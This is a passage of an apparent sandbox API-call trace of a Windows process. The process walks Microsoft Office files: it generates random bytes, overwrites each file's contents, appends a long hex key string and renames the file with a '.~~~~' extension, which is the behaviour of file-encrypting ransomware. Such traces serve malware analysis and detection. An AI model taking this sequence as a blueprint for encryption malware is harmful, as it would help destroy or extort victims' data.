	[0131.503] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.503] CloseHandle (hObject=0x13c) returned 1
	[0131.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3ef0
	[0131.503] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.~~~~")) returned 1
	[0131.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c3ef0 | out: hHeap=0x300000) returned 1
	[0131.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0131.505] GetLastError () returned 0x0
	[0131.507] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0131.508] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.508] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0131.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0131.508] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25149814336) returned 1
	[0131.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7d3e7b0, dwHighDateTime=0x1d60e1e)) 
	[0131.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0131.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0131.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0131.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823678
	[0131.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823678 | out: hHeap=0x300000) returned 1
	[0131.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c44e0
	[0131.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.509] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0131.509] GetLastError () returned 0x0
	[0131.509] GetLastError () returned 0x0
	[0131.509] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0131.509] GetLastError () returned 0x0
	[0131.510] GetLastError () returned 0x0
	[0131.513] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffd7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.513] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x281, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x281, lpOverlapped=0x0) returned 1
	[0131.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.514] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.514] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.515] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.515] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.515] CloseHandle (hObject=0x13c) returned 1
	[0131.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3987f8
	[0131.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.~~~~")) returned 1
	[0131.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0131.517] GetLastError () returned 0x0
	[0131.517] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0131.518] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.518] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0131.519] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25150877922) returned 1
	[0131.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7d64910, dwHighDateTime=0x1d60e1e)) 
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28236b0
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28236b0 | out: hHeap=0x300000) returned 1
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4578
	[0131.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.520] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0131.520] GetLastError () returned 0x0
	[0131.520] GetLastError () returned 0x0
	[0131.520] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0131.520] GetLastError () returned 0x0
	[0131.520] GetLastError () returned 0x0
	[0131.522] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.522] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xd1, lpOverlapped=0x0) returned 1
	[0131.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.524] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.524] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.524] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.524] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.524] CloseHandle (hObject=0x13c) returned 1
	[0131.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3987f8
	[0131.525] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.~~~~")) returned 1
	[0131.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0131.527] GetLastError () returned 0x0
	[0131.527] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a11be0) returned 1
	[0131.529] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.529] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0131.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0131.529] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25151913527) returned 1
	[0131.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7d64910, dwHighDateTime=0x1d60e1e)) 
	[0131.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0131.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0131.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0131.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28236e8
	[0131.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28236e8 | out: hHeap=0x300000) returned 1
	[0131.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0131.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.530] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0131.530] GetLastError () returned 0x0
	[0131.530] GetLastError () returned 0x0
	[0131.530] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0131.530] GetLastError () returned 0x0
	[0131.531] GetLastError () returned 0x0
	[0131.532] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.532] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0131.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.600] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.601] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.603] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.603] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.603] CloseHandle (hObject=0x13c) returned 1
	[0131.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0131.604] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.~~~~")) returned 1
	[0132.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0132.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0132.076] GetLastError () returned 0x0
	[0132.077] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a12e0) returned 1
	[0132.077] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.077] CryptReleaseContext (hProv=0x3a12e0, dwFlags=0x0) returned 1
	[0132.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0132.078] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25206796777) returned 1
	[0132.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb82bfa90, dwHighDateTime=0x1d60e1e)) 
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd4d0
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd4d0 | out: hHeap=0x300000) returned 1
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398be8
	[0132.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398be8 | out: hHeap=0x300000) returned 1
	[0132.079] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.079] GetLastError () returned 0x0
	[0132.079] GetLastError () returned 0x0
	[0132.079] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.079] GetLastError () returned 0x0
	[0132.079] GetLastError () returned 0x0
	[0132.082] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff447, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.083] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xbb9, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xbb9, lpOverlapped=0x0) returned 1
	[0132.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0132.085] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.086] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.086] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.086] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.086] CloseHandle (hObject=0x13c) returned 1
	[0132.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0132.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn.~~~~")) returned 1
	[0132.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0132.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0132.088] GetLastError () returned 0x0
	[0132.090] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2a12818) returned 1
	[0132.091] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.091] CryptReleaseContext (hProv=0x2a12818, dwFlags=0x0) returned 1
	[0132.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0132.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0132.091] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25208141859) returned 1
	[0132.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb82bfa90, dwHighDateTime=0x1d60e1e)) 
	[0132.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0132.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0132.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0132.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd498
	[0132.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd498 | out: hHeap=0x300000) returned 1
	[0132.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0132.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0132.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.092] GetLastError () returned 0x0
	[0132.093] GetLastError () returned 0x0
	[0132.093] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.093] GetLastError () returned 0x0
	[0132.093] GetLastError () returned 0x0
	[0132.096] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.097] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0132.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0132.101] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.101] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
